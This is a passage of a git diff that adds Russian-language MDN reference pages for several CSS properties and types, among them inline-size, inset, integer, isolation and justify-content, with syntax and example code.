+ <li>Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.</li>
+ <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li>
+</ul>
diff --git a/files/ru/web/css/initial_value/index.html b/files/ru/web/css/initial_value/index.html
new file mode 100644
index 0000000000..0fee2e018f
--- /dev/null
+++ b/files/ru/web/css/initial_value/index.html
@@ -0,0 +1,22 @@
+---
+title: Начальное значение
+slug: Web/CSS/initial_value
+translation_of: Web/CSS/initial_value
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>Начальное значение</strong>, данное в кратком описании <a href="/ru/docs/Web/CSS/Reference" title="en/CSS_Reference">каждого CSS свойства</a> имеет различное значение для <a href="/ru/docs/Web/CSS/inheritance" title="en/CSS/inheritance">наследуемых и не наследуемых свойств</a>.</p>
+
+<p>Для <a href="/ru/docs/Web/CSS/inheritance#Inherited_properties" title="en/CSS/inheritance#Inherited_properties">наследуемых</a>, начальное значение установлено <strong>только</strong> для корневого элемента, если не указано никакого значения для элемента.</p>
+
+<p>Для <a href="/ru/docs/Web/CSS/inheritance#Non-inherited_properties" title="en/CSS/inheritance#Non-inherited_properties">ненаследуемых свойств</a> используется начальное значение для <strong>любого</strong> элемента, даже когда значение для элемента не указано.</p>
+
+<p>Ключевое слово <code><a href="/ru/docs/Web/CSS/initial" title="en/CSS/initial">initial</a></code> добавлено в CSS3, чтобы предоставить авторам возможность явно указывать это первоначальное значение.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference" title="CSS Reference">CSS документация</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li><code><a href="/ru/docs/Web/CSS/initial" title="en/CSS/initial">initial</a></code></li>
+</ul>
diff --git a/files/ru/web/css/inline-size/index.html b/files/ru/web/css/inline-size/index.html
new file mode 100644
index 0000000000..69829347df
--- /dev/null
+++ b/files/ru/web/css/inline-size/index.html
@@ -0,0 +1,100 @@
+---
+title: inline-size
+slug: Web/CSS/inline-size
+translation_of: Web/CSS/inline-size
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inline-size</code></strong> определяет горизонтальные или вертикальные размеры блока в зависимости от режима написания (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от свойства {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/inline-size.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;length&gt; values */
+inline-size: 300px;
+inline-size: 25em;
+
+/* &lt;percentage&gt; values */
+inline-size: 75%;
+
+/* Keyword values */
+inline-size: max-content;
+inline-size: min-content;
+inline-size: fit-content(20em);
+inline-size: auto;
+
+/* Global values */
+inline-size: inherit;
+inline-size: initial;
+inline-size: unset;
+</pre>
+
+<p>Если режим написания (writing mode) — вертикальный, значение <code>inline-size</code> относится к высоте элемента; в противном случае, оно относиться к ширине элемента. Связанное свойство — {{cssxref("block-size")}}, которое определяет другие размеры элемента.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство <code>inline-size</code> принимает те же значения, что и свойства {{cssxref("width")}} и {{cssxref("height")}}.</p>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Setting_inline_size_in_pixels">Setting inline size in pixels</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  inline-size: 110px;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Setting_inline_size_in_pixels")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inline-size", "inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility </h2>
+
+
+
+<p>{{Compat("css.properties.inline-size")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The mapped physical properties: {{cssxref("width")}} and {{cssxref("height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html
new file mode 100644
index 0000000000..a6d25722ca
--- /dev/null
+++ b/files/ru/web/css/inset/index.html
@@ -0,0 +1,98 @@
+---
+title: inset
+slug: Web/CSS/inset
+tags:
+  - смещение элемента
+translation_of: Web/CSS/inset
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значения */
+inset: 3px 10px 3px 10px;
+inset: 2.4em 3em 3em 3em;
+inset: 10px; /* значение применяется ко всем сторонам */
+
+/* &lt;percentage&gt; от ширины или высоты внешнего блока */
+inset: 10% 5% 5% 5%;
+
+/* Ключевое значение */
+inset: auto;
+
+/* Глобальные значения */
+inset: inherit;
+inset: initial;
+inset: unset;
+
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство <code>inset</code> принимает значения, аналогичные значениям свойства {{cssxref("left")}}.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML-содержимое">HTML-содержимое</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS-содержимое">CSS-содержимое</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset: 20px 50px 30px 10px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 140, 140)}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset", "inset")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузера">Поддержка браузера</h2>
+
+
+
+<p>{{Compat("css.properties.inset")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Сопоставление физических свойств: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html
new file mode 100644
index 0000000000..a1f11a3a46
--- /dev/null
+++ b/files/ru/web/css/integer/index.html
@@ -0,0 +1,127 @@
+---
+title: <integer>
+slug: Web/CSS/integer
+translation_of: Web/CSS/integer
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;integer&gt;</code></strong> - <a href="/ru/docs/Web/CSS/CSS_Types">тип хранения данных</a> в <a href="/ru/docs/Web/CSS">CSS</a> - является частным случаем типа {{cssxref("number")}}, который представляет целые числа: как положительное, так и отрицательное. Целые числа могу быть использованы в свойствах CSS , таких как {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, и {{cssxref("z-index")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;integer&gt;</code> состоит из одного или нескольких дробных цифр, от 0 до 9 включительно, символы <code>+</code> и <code>-</code> необязательны. Не существует единицы измерения, связанной с целочисленным типом данных.</p>
+
+<div class="note"><strong>Запомните:</strong> Не существует оффициального диапазона значений типа <code>&lt;integer&gt;</code>. Opera 12.1 поддерживает значения до 2<sup>15</sup>-1, IE - до 2<sup>20</sup>-1, а остальные браузеры даже выше. На протяжении существования значений CSS3 было проведено не большое количество обсуждений об установлении минимального ренжа: последнее решение, <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0633.html">в апреле 2012 напротяжении фазы LC</a>, было [-2<sup>27</sup>-1; 2<sup>27</sup>-1], но остальные значения, такие как 2<sup>24</sup>-1 и 2<sup>30</sup>-1, <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0530.html">также были предложены</a>. Однако, самая свежая на данный момент спецификация более не указывает на область определения этого типа данных.</div>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>Во время анимации значения типа <code>&lt;integer&gt;</code> интерполированы используя особые меры. Вычисление будет завершено, если они были целочисленными или с плавающей точкой; отдельное значение получается, используя <a href="https://ru.wikipedia.org/wiki/Целая_часть">Целую часть</a>. Скорость интерполяции определена <a href="/en-US/docs/Web/CSS/single-transition-timing-function" title="timing-function">timing function</a>, связанной с анимацией.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Корректные_значения_целочисленного_типа_данных">Корректные значения целочисленного типа данных</h3>
+
+<pre>12          Положительное целое число (без предшествующего знака +)
++123        Положительное целое число (С предшествующим знаком +)
+-456        Отрицательное целое число
+0           Нуль
++0          Нуль, с предшествующим +
+-0          Нуль, с предшествующим -
+</pre>
+
+<h3 id="Некорректные_значения_целочисленного_типа_данных">Некорректные значения целочисленного типа данных</h3>
+
+<pre class="example-bad">12.0        Это &lt;number&gt;, а не &lt;integer&gt;, хоть и представляется как целое число.
+12.         "Дробные" точки запрещены.
++---12      Разрешен только один предшествующий символ +/-.
+десять      Буквы запрещены.
+_5          Специальные знаки запрещены.
+\35         Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5).
+\4E94       Разрешены только арабские цифры, даже в случае, если они экранированны (здесь: японское число 5, 五).
+3e4         Научные обозначения запрещены.
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#integers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Нет значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Явное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Неявное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>3.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Обобенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html
new file mode 100644
index 0000000000..94f536220c
--- /dev/null
+++ b/files/ru/web/css/isolation/index.html
@@ -0,0 +1,114 @@
+---
+title: isolation
+slug: Web/CSS/isolation
+tags:
+  - Контекст наложения
+  - Очередность
+  - Порядок отрисовки
+translation_of: Web/CSS/isolation
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>isolation</code></strong> определяет должен ли элемент создавать новый <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">контекст наложения</a> {{glossary("stacking context")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/isolation.html")}}</div>
+
+
+
+<p>Это свойство особенно полезно при использовании совместно с {{cssxref("background-blend-mode")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения ключевого слова */
+isolation: auto;
+isolation: isolate;
+
+/* Глобальные значения */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+</pre>
+
+<p>Свойство <code>isolation</code> указывается в качестве значения одного из нижеследующих ключевых слов.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>Новый контекст наложения должен быть создан.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;div id="b" class="a"&gt;
+  &lt;div id="d"&gt;
+    &lt;div class="a c"&gt;auto&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="e"&gt;
+    &lt;div class="a c"&gt;isolate&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}</pre>
+
+<p>{{ EmbedLiveSample('Examples', 230, 230) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#isolation', 'Isolation') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.isolation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html
new file mode 100644
index 0000000000..7c9d323e17
--- /dev/null
+++ b/files/ru/web/css/justify-content/index.html
@@ -0,0 +1,206 @@
+---
+title: justify-content
+slug: Web/CSS/justify-content
+tags:
+  - CSS
+  - justify-content
+translation_of: Web/CSS/justify-content
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> свойство  <strong><code>justify-content</code></strong> определяет, как браузер распределяет пространство между и вокруг элементов контента вдоль {{Glossary("Main Axis", "главной оси")}} flex контейнера, или вдоль строчной оси grid контейнера.</p>
+
+<p>Интерактивный пример ниже демонстрирует некоторые значения, используя Grid размещение.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/justify-content.html")}}</p>
+
+<p>Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox разметке</a> есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от <code>0</code>, эффект не будет применен, потому что не останется свободного места.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Позиционное выравнивание */
+justify-content: center;     /* Выравнивание элементов по центру */
+justify-content: start;      /* Выравнивание элементов в начале */
+justify-content: end;        /* Выравнивание элементов в конце */
+justify-content: flex-start; /* Выравнивание флекс-элементов с начала */
+justify-content: flex-end;   /* Выравнивание флекс-элементов с конца */
+justify-content: left;       /* Выравнивание элементов по левому краю */
+justify-content: right;      /* Выравнивание элементов по правому краю */
+
+/* Выравнивание относительно осевой линии */
+justify-content: baseline;
+justify-content: first baseline;
+justify-content: last baseline;
+
+/* Распределенное выравнивание */
+justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Первый элемент вначале, последний в конце */
+justify-content: space-around;  /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют полуразмерное пространство
+
+                                   с обоих концов */
+justify-content: space-evenly;  /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют равное пространство вокруг */
+justify-content: stretch;       /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют "авто-размер", чтобы соответствовать
+
+                                   контейнеру */
+
+/* Выравнивание при переполнении */
+justify-content: safe center;
+justify-content: unsafe center;
+
+/* Глобальные значения */
+justify-content: inherit;
+justify-content: initial;
+justify-content: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к началу контейнера по главной оси.</dd>
+ <dt><code>end</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к концу контейнера по главной оси.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к началу контейнера по главной оси, в зависимости от её направления (<a href="/ru/docs/Web/CSS/flex-direction">flex-direction</a>). Для элементов, которые не являются дочерними элементами flex контейнера, это значение обрабатывается как <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к концу контейнера по главной оси, в зависимости от её направления (<a href="/ru/docs/Web/CSS/flex-direction">flex-direction</a>). Для элементов, которые не являются дочерними элементами flex контейнера, это значение обрабатывается как <code>end</code>.</dd>
+ <dt><code>center</code></dt>
+ <dd>Элементы располагаются друг за другом в центре контейнера по главной оси.</dd>
+ <dt><code>left</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к левому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  <code>start</code>.</dd>
+ <dt><code>right</code></dt>
+ <dd>Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  <code>start</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Элементы располагаются на свох обычных позициях, так как будто свойство <code>justify-content</code> не задано. Этот параметр ведет себя как <code>stretch</code> в grid и flex контейнерах.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.<br>
+ The fallback alignment for <code>first baseline</code> is <code>start</code>, the one for <code>last baseline</code> is <code>end</code>.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны. Первый элемент прижат к началу контейнера по главной оси, а последний - к концу.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны. Пустые пространства перед первым элементом и после последнего элемента равны половине расстояния между парами соседних элементов.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны расстояниям от начала контейнера до первого элемента и от последнего элемента до конца контейнера.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>If the combined size of the items is less than the size of the alignment container, any <code>auto</code>-sized items have their size increased equally (not proportionally), while still respecting the constraints imposed by {{cssxref("max-height")}}/{{cssxref("max-width")}} (or equivalent functionality), so that the combined size exactly fills the alignment container along the main axis.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> <code>stretch</code> не поддерживается гибкими контейнерами (flexbox).</p>
+</div>
+
+<dl>
+ <dt><code>safe</code></dt>
+ <dd>If the size of the item overflows the alignment container, the item is instead aligned as if the alignment mode were <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Regardless of the relative sizes of the item and alignment container, the given alignment value is honored.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#container {
+  display: flex;
+  justify-content: space-between; /* Может быть изменено */
+}
+
+#container &gt; div {
+  width: 100px;
+  height: 100px;
+  background: linear-gradient(-45deg, #788cff, #b4c8ff);
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;select id="justifyContent"&gt;
+  &lt;option value="start"&gt;start&lt;/option&gt;
+  &lt;option value="end"&gt;end&lt;/option&gt;
+  &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+  &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+  &lt;option value="center"&gt;center&lt;/option&gt;
+  &lt;option value="left"&gt;left&lt;/option&gt;
+  &lt;option value="right"&gt;right&lt;/option&gt;
+  &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+  &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+  &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+  &lt;option value="space-between" selected&gt;space-between&lt;/option&gt;
+  &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+  &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var justifyContent = document.getElementById("justifyContent");
+justifyContent.addEventListener("change", function (evt) {
+  document.getElementById("container").style.justifyContent =
+      evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример", "100%", 140)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box Alignment', '#propdef-justify-content', 'justify-content')}}</td>
+   <td>{{Spec2('CSS3 Box Alignment')}}</td>
+   <td>Adds the [ first | last ]? baseline, self-start, self-end, start, end, left, right, space-evenly, unsafe | safe values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-justify-content', 'justify-content')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="Поддержка_в_Flex_разметке">Поддержка в Flex разметке</h3>
+
+<p>{{Compat("css.properties.justify-content.flex_context")}}</p>
+
+<h3 id="Поддержка_в_Grid_разметке">Поддержка в Grid разметке</h3>
+
+<p>{{Compat("css.properties.justify-content.grid_context")}}</p>
+
+<h2 id="Смотрите_также"> Смотрите также</h2>
+
+<ul>
+ <li>Гид по CSS Flexbox: <em><a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Основные понятия Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элементов_в_Flex_контейнере">Выравнивание элементов во Flex контейнере</a></em></li>
+ <li>CSS Grid Guide: <em><a href="/ru/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Выравнивание ячейки в CSS Grid layout</a></em></li>
+ <li><a href="/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание полей CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html
new file mode 100644
index 0000000000..23d4c75099
--- /dev/null
+++ b/files/ru/web/css/justify-items/index.html
@@ -0,0 +1,171 @@
+---
+title: Атрибут justify-items
+slug: Web/CSS/justify-items
+tags:
+  - CSS
+  - CSS атрибут
+  - CSS выравнивание блоков
+  - Ссылки
+translation_of: Web/CSS/justify-items
+---
+<div class="boxed translate-rendered text-content">
+<div>{{CSSRef}}</div>
+
+<p>Атрибут <a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <code><strong>justify-items</strong></code> определяет атрибут по умолчанию {{CSSxRef ("justify-self")}} для всех элементов блока, предоставляя всем им способ выравнивания по умолчанию каждого блока вдоль соответствующей оси.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/justify-items.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, создайте копию <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на включение изменений.</p>
+
+<p>Эффект этого атрибута зависит от выбранного способа разметки:</p>
+
+<ul>
+ <li>Используя разметку с помощью блоков (block-level layout), элементы выравниваются внутри содержащего их блока по внутренней оси.</li>
+ <li>Для абсолютно позиционированых элементов выравнивание происходит внутри содержащего их блока по внутренней оси, учитывая значения смещения сверху, слева, снизу и справа.</li>
+ <li>Используя разметку с помощью ячеек таблицы (table cell layout), этот атрибут игнорируется (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables">подробнее</a> о выравнивании в блочной структуре, абсолютном позиционировании и о табличной разметке).</li>
+ <li>Используя разметку с помощью гибких или адаптивных блоков (flexbox layout), этот атрибут игнорируется (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">подробнее</a> о выравнивании в разметке flexbox).</li>
+ <li>Используя разметку с помощью сетки (grid layout), элементы выравниваются внутри их сеточной области по внутренней оси (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">подробнее</a> о выравнивании в разметке grid).</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Основные ключевые слова */
+justify-items: auto;
+justify-items: normal;
+justify-items: stretch;
+
+/* Выравнивание положения */
+justify-items: center;     /* Выровнять элементы по центру */
+justify-items: start;      /* Выровнять элементы в начале */
+justify-items: end;        /* Выровнять элементы в конце */
+justify-items: flex-start; /* Эквивалентно 'start'. Обратите внимание, что justify-items игнорируется в разметке Flexbox. */
+justify-items: flex-end;   /* Эквивалентно 'end'. Обратите внимание, что justify-items игнорируется в разметке Flexbox. */
+justify-items: self-start;
+justify-items: self-end;
+justify-items: left;       /* Выровнять элементы по левому краю */
+justify-items: right;      /* Выровнять элементы по правому краю */
+
+/* Исходное выравнивание */
+justify-items: baseline;
+justify-items: first baseline;
+justify-items: last baseline;
+
